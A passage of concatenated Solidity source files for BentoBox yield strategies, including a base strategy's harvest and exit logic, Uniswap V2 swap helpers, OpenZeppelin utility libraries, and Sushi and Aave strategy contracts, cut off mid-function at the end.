and (2) that we are not being frontrun by a large BentoBox deposit when harvesting profits. */
function harvest(uint256 balance, address sender) external override isActive onlyBentoBox returns (int256) {
/** @dev Don't revert if conditions aren't met in order to allow
BentoBox to continiue execution as it might need to do a rebalance. */
if (
sender == address(this) &&
bentoBox.totals(address(strategyToken)).elastic <= maxBentoBoxBalance &&
balance > 0
) {
int256 amount = _harvest(balance);
/** @dev Since harvesting of rewards is accounted for seperately we might also have
some underlying tokens in the contract that the _harvest call doesn't report.
E.g. reward tokens that have been sold into the underlying tokens which are now sitting in the contract.
Meaning the amount returned by the internal _harvest function isn't necessary the final profit/loss amount */
uint256 contractBalance = strategyToken.balanceOf(address(this));
if (amount >= 0) { // _harvest reported a profit
if (contractBalance > 0) {
strategyToken.safeTransfer(address(bentoBox), contractBalance);
}
return int256(contractBalance);
} else if (contractBalance > 0) { // _harvest reported a loss but we have some tokens sitting in the contract
int256 diff = amount + int256(contractBalance);
if (diff > 0) { // we still made some profit
/// @dev send the profit to BentoBox and reinvest the rest
strategyToken.safeTransfer(address(bentoBox), uint256(diff));
_skim(uint256(-amount));
} else { // we made a loss but we have some tokens we can reinvest
_skim(contractBalance);
}
return diff;
} else { // we made a loss
return amount;
}
}
return int256(0);
}
/// @inheritdoc IStrategy
function withdraw(uint256 amount) external override isActive onlyBentoBox returns (uint256 actualAmount) {
_withdraw(amount);
/// @dev Make sure we send and report the exact same amount of tokens by using balanceOf.
actualAmount = strategyToken.balanceOf(address(this));
strategyToken.safeTransfer(address(bentoBox), actualAmount);
}
/// @inheritdoc IStrategy
/// @dev do not use isActive modifier here; allow bentobox to call strategy.exit() multiple times
function exit(uint256 balance) external override onlyBentoBox returns (int256 amountAdded) {
_exit();
/// @dev Check balance of token on the contract.
uint256 actualBalance = strategyToken.balanceOf(address(this));
/// @dev Calculate tokens added (or lost).
amountAdded = int256(actualBalance) - int256(balance);
/// @dev Transfer all tokens to bentoBox.
strategyToken.safeTransfer(address(bentoBox), actualBalance);
/// @dev Flag as exited, allowing the owner to manually deal with any amounts available later.
exited = true;
}
/** @dev After exited, the owner can perform ANY call. This is to rescue any funds that didn't
get released during exit or got earned afterwards due to vesting or airdrops, etc. */
function afterExit(
address to,
uint256 value,
bytes memory data
) public onlyOwner returns (bool success) {
if (!exited) {
revert StrategyNotExited();
}
(success, ) = to.call{value: value}(data);
}
function getAllowedPath(uint256 pathIndex) external view returns(address[] memory path) {
path = _allowedSwapPaths[pathIndex];
}
function setAllowedPath(address[] calldata path) external onlyOwner {
_allowedSwapPaths.push(path);
emit LogSetAllowedPath(_allowedSwapPaths.length, true);
}
function disallowPath(uint256 pathIndex) external onlyOwner {
require(pathIndex < _allowedSwapPaths.length, "Out of bounds");
_allowedSwapPaths[pathIndex] = new address[](0);
emit LogSetAllowedPath(pathIndex, false);
}
/// @notice Swap some tokens in the contract for the underlying and deposits them to address(this)
/// @param amountOutMin minimum amount of output tokens we should get (slippage protection).
/// @param pathIndex Index of the predetermined path we will use for the swap.
function swapExactTokensForUnderlying(uint256 amountOutMin, uint256 pathIndex) public onlyExecutor returns (uint256 amountOut) {
if (factory == address(0)) {
revert NoFactory();
}
address[] memory path = _allowedSwapPaths[pathIndex];
uint256 amountIn = IERC20(path[0]).balanceOf(address(this));
uint256[] memory amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
amountOut = amounts[amounts.length - 1];
if (amountOut < amountOutMin) {
revert SlippageProtection();
}
IERC20(path[0]).safeTransfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]);
_swap(amounts, path, address(this));
}
/// @dev requires the initial amount to have already been sent to the first pair
function _swap(
uint256[] memory amounts,
address[] memory path,
address _to
) internal {
for (uint256 i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
address token0 = input < output ? input : output;
uint256 amountOut = amounts[i + 1];
(uint256 amount0Out, uint256 amount1Out) = input == token0 ? (uint256(0), amountOut) : (amountOut, uint256(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(amount0Out, amount1Out, to, new bytes(0));
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.7;
interface IStrategy {
/// @notice Send the assets to the Strategy and call skim to invest them.
/// @param amount The amount of tokens to invest.
function skim(uint256 amount) external;
/// @notice Harvest any profits made converted to the asset and pass them to the caller.
/// @param balance The amount of tokens the caller thinks it has invested.
/// @param sender The address of the initiator of this transaction. Can be used for reimbursements, etc.
/// @return amountAdded The delta (+profit or -loss) that occured in contrast to `balance`.
function harvest(uint256 balance, address sender) external returns (int256 amountAdded);
/// @notice Withdraw assets. The returned amount can differ from the requested amount due to rounding.
/// @dev The `actualAmount` should be very close to the amount.
/// The difference should NOT be used to report a loss. That's what harvest is for.
/// @param amount The requested amount the caller wants to withdraw.
/// @return actualAmount The real amount that is withdrawn.
function withdraw(uint256 amount) external returns (uint256 actualAmount);
/// @notice Withdraw all assets in the safest way possible. This shouldn't fail.
/// @param balance The amount of tokens the caller thinks it has invested.
/// @return amountAdded The delta (+profit or -loss) that occured in contrast to `balance`.
function exit(uint256 balance) external returns (int256 amountAdded);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.7;
interface IUniswapV2Pair {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
/// @notice Minimal interface for BentoBox token vault interactions - `token` is aliased as `address` from `IERC20` for code simplicity.
interface IBentoBoxMinimal {
struct Rebase {
uint128 elastic;
uint128 base;
}
struct StrategyData {
uint64 strategyStartDate;
uint64 targetPercentage;
uint128 balance; // the balance of the strategy that BentoBox thinks is in there
}
function strategyData(address token) external view returns (StrategyData memory);
/// @notice Balance per ERC-20 token per account in shares.
function balanceOf(address, address) external view returns (uint256);
/// @notice Deposit an amount of `token` represented in either `amount` or `share`.
/// @param token_ The ERC-20 token to deposit.
/// @param from which account to pull the tokens.
/// @param to which account to push the tokens.
/// @param amount Token amount in native representation to deposit.
/// @param share Token amount represented in shares to deposit. Takes precedence over `amount`.
/// @return amountOut The amount deposited.
/// @return shareOut The deposited amount repesented in shares.
function deposit(
address token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
/// @notice Withdraws an amount of `token` from a user account.
/// @param token_ The ERC-20 token to withdraw.
/// @param from which user to pull the tokens.
/// @param to which user to push the tokens.
/// @param amount of tokens. Either one of `amount` or `share` needs to be supplied.
/// @param share Like above, but `share` takes precedence over `amount`.
function withdraw(
address token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
/// @notice Transfer shares from a user account to another one.
/// @param token The ERC-20 token to transfer.
/// @param from which user to pull the tokens.
/// @param to which user to push the tokens.
/// @param share The amount of `token` in shares.
function transfer(
address token,
address from,
address to,
uint256 share
) external;
/// @dev Helper function to represent an `amount` of `token` in shares.
/// @param token The ERC-20 token.
/// @param amount The `token` amount.
/// @param roundUp If the result `share` should be rounded up.
/// @return share The token amount represented in shares.
function toShare(
address token,
uint256 amount,
bool roundUp
) external view returns (uint256 share);
/// @dev Helper function to represent shares back into the `token` amount.
/// @param token The ERC-20 token.
/// @param share The amount of shares.
/// @param roundUp If the result should be rounded up.
/// @return amount The share amount back into native representation.
function toAmount(
address token,
uint256 share,
bool roundUp
) external view returns (uint256 amount);
/// @notice Registers this contract so that users can approve it for the BentoBox.
function registerProtocol() external;
function totals(address token) external view returns (Rebase memory);
function harvest(
address token,
bool balance,
uint256 maxChangeAmount
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.7;
import '../interfaces/IUniswapV2Pair.sol';
/*
The following library is modified from @sushiswap/core/contracts/uniswapv2/libraries/UniswapV2Library.sol
changes:
- remove SafeMathUniswap library and replace all usage of it with basic operations
- change casting from uint to bytes20 in pair address calculation and shift by 96 bits before casting
*/
library UniswapV2Library {
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(bytes20(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
)) << 96));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA * reserveB / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn * 997;
uint numerator = amountInWithFee * reserveOut;
uint denominator = (reserveIn * 1000) + amountInWithFee;
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn * amountOut * 1000;
uint denominator = (reserveOut - amountOut) * 997;
amountIn = (numerator / denominator) + 1;
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.7;
import "../BaseStrategy.sol";
interface ISushiBar is IERC20 {
function enter(uint256 _amount) external;
function leave(uint256 _share) external;
}
contract SushiStrategy is BaseStrategy {
ISushiBar public immutable sushiBar;
constructor(
address _sushiBar,
BaseStrategy.ConstructorParams memory baseStrategyParams
) BaseStrategy(baseStrategyParams) {
baseStrategyParams.strategyToken.approve(_sushiBar, type(uint256).max);
sushiBar = ISushiBar(_sushiBar);
}
function _skim(uint256 amount) internal override {
sushiBar.enter(amount);
}
function _harvest(uint256 balance) internal override returns (int256) {
uint256 keep = toShare(balance);
uint256 total = sushiBar.balanceOf(address(this));
if (total > keep) sushiBar.leave(total - keep);
// xSUSHI can't report a loss so no need to check for keep < total case
// we can return 0 when reporting profits (BaseContract checks balanceOf)
return int256(0);
}
function _withdraw(uint256 amount) internal override {
uint256 requested = toShare(amount);
uint256 actual = sushiBar.balanceOf(address(this));
sushiBar.leave(requested > actual ? actual : requested);
}
function _exit() internal override {
sushiBar.leave(sushiBar.balanceOf(address(this)));
}
function toShare(uint256 amount) internal view returns (uint256) {
uint256 totalShares = sushiBar.totalSupply();
uint256 totalSushi = IERC20(strategyToken).balanceOf(address(sushiBar));
return amount * totalShares / totalSushi;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.7;
import "../BaseStrategy.sol";
library DataTypes {
struct ReserveData {
ReserveConfigurationMap configuration;
uint128 liquidityIndex;
uint128 variableBorrowIndex;
uint128 currentLiquidityRate;
uint128 currentVariableBorrowRate;
uint128 currentStableBorrowRate;
uint40 lastUpdateTimestamp;
address aTokenAddress;
address stableDebtTokenAddress;
address variableDebtTokenAddress;
address interestRateStrategyAddress;
uint8 id;
}
struct ReserveConfigurationMap {
uint256 data;
}
}
interface ILendingPool {
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external;
function withdraw(
address asset,
uint256 amount,
address to
) external returns (uint256);
function getReserveData(address asset) external view returns (DataTypes.ReserveData memory);
}
interface IAaveIncentivesController {
function getRewardsBalance(address[] calldata assets, address user) external view returns (uint256);
function claimRewards(
address[] calldata assets,
uint256 amount,
address to
) external returns (uint256);
}
contract AaveStrategy is BaseStrategy {
using SafeERC20 for IERC20;
ILendingPool internal immutable aaveLendingPool;
IAaveIncentivesController internal immutable incentiveController;
IERC20 public immutable aToken;
constructor(
ILendingPool _aaveLendingPool,
IAaveIncentivesController _incentiveController,
BaseStrategy.ConstructorParams memory params
) BaseStrategy(params) {
aaveLendingPool = _aaveLendingPool;
incentiveController = _incentiveController;
aToken = IERC20(_aaveLendingPool.getReserveData(address(params.strategyToken)).aTokenAddress);
params.strategyToken.safeApprove(address(_aaveLendingPool), type(uint256).max);
}
function _skim(uint256 amount) internal override {
aaveLendingPool.deposit(address(strategyToken), amount, address(this), 0);
}
function _harvest(uint256 balance) internal override returns (int256 amountAdded) {
uint256 currentBalance = aToken.balanceOf(address(this));
amountAdded = int256(currentBalance) - int256(balance);
if (amountAdded > 0) aaveLendingPool.withdraw(address(strategyToken), uint256(amountAdded), address(this));
}
function _withdraw(uint256 amount) internal override {
aaveLendingPool.withdraw(address(strategyToken), amount, address(this));
}
function _exit() internal override {
uint256 tokenBalance = aToken.balanceOf(address(this));
uint256 available = IERC20(strategyToken).balanceOf(address(aToken));
if (tokenBalance <= available) {
/// @dev If there are more tokens available than our full position, take all based on aToken balance (continue if unsuccessful).
try aaveLendingPool.withdraw(address(strategyToken), tokenBalance, address(this)) {} catch {}
} else {
/// @dev Otherwise redeem all available and take a loss on the missing amount (continue if unsuccessful).
try aaveLendingPool.withdraw(address(strategyToken), available, address(this)) {} catch {}
}
}
function _harvestRewards() internal virtual override {
address[] memory rewardTokens = new address[](1);
rewardTokens[0] = address(aToken);
uint256 reward = incentiveController.getRewardsBalance(rewardTokens, address(this));
incentiveController.claimRewards(rewardTokens, reward, address(this));
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.7;
import "./AaveStrategy.sol";
interface IStkAave {
function stakersCooldowns(address staker) external view returns(uint256);
function cooldown() external;
function COOLDOWN_SECONDS() external returns(uint256);
function UNSTAKE_WINDOW() external returns(uint256);
function redeem(address to, uint256 amount) external;
function claimRewards(address to, uint256 amount) external;
}
contract AaveStrategyMainnet is AaveStrategy {
IStkAave private immutable stkAave;
uint256 private immutable COOLDOWN_SECONDS; // 10 days
uint256 private immutable UNSTAKE_WINDOW; // 2 days
constructor(
IStkAave _stkAave,
ILendingPool aaveLendingPool,
IAaveIncentivesController incentiveController,
BaseStrategy.ConstructorParams memory params
) AaveStrategy(aaveLendingPool, incentiveController, params) {
stkAave = _stkAave;
COOLDOWN_SECONDS = _stkAave.COOLDOWN_SECONDS();
UNSTAKE_WINDOW = _stkAave.UNSTAKE_WINDOW();
}
function _harvestRewards() internal override {
if (address(stkAave) == address(0)) return;
address[] memory rewardTokens = new address[](1);
rewardTokens[0] = address(aToken);
// We can pass type(uint256).max to receive all of the rewards.
// We receive stkAAVE tokens.
incentiveController.claimRewards(rewardTokens, type(uint256).max, address(this));
// Now we try to unstake the stkAAVE tokens.
uint256 cooldown = stkAave.stakersCooldowns(address(this));
if (cooldown == 0) {
// We initiate unstaking for the stkAAVE tokens.
stkAave.cooldown();
} else if (cooldown + COOLDOWN_SECONDS < block.timestamp) {
if (block.timestamp < cooldown + COOLDOWN_SECONDS + UNSTAKE_WINDOW) {
// We claim any AAVE rewards we have from staking AAVE.
stkAave.claimRewards(address(this), type(uint256).max);
// We unstake stkAAVE and receive AAVE tokens.
// Our cooldown timestamp resets to 0.
stkAave.redeem(address(this), type(uint256).max);
} else {
// We missed the unstake window - we have to reset the cooldown timestamp.
stkAave.cooldown();
}
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.7;
import "./BaseStrategy.sol";
/* Example implementation stub to simplify strategy development.
Please refer to the BaseStrategy contract natspec comments for
further tips and clarifications. Also see the SushiStrategy and the
AavePolygonStrategy for reference implementations. */
contract ExampleImplementation is BaseStrategy {
// BaseStrategy initializes a immutable storage variable 'strategyToken' we can use
constructor(
address investmentContract,
BaseStrategy.ConstructorParams memory baseStrategyParams
) BaseStrategy(baseStrategyParams) {
baseStrategyParams.strategyToken.approve(investmentContract, type(uint256).max);
}
function _skim(uint256 amount) internal override {
// assume IERC20(strategyToken).balanceOf(address(this)) >= amount
// invest the token
}
function _harvest(uint256 investedAmount) internal override returns (int256 delta) {
// calculate the current amount we get if we withdraw the principal (not accounting for any received rewards)
// if profitable, withdraw the surplus
// return the difference between invested and current amount
}
function _harvestRewards() internal override {
// implement the logic for claiming rewards and transfering them to address(this)
// does not need to report the profits
// skip if we expect no rewards
}
function _withdraw(uint256 amount) internal override {
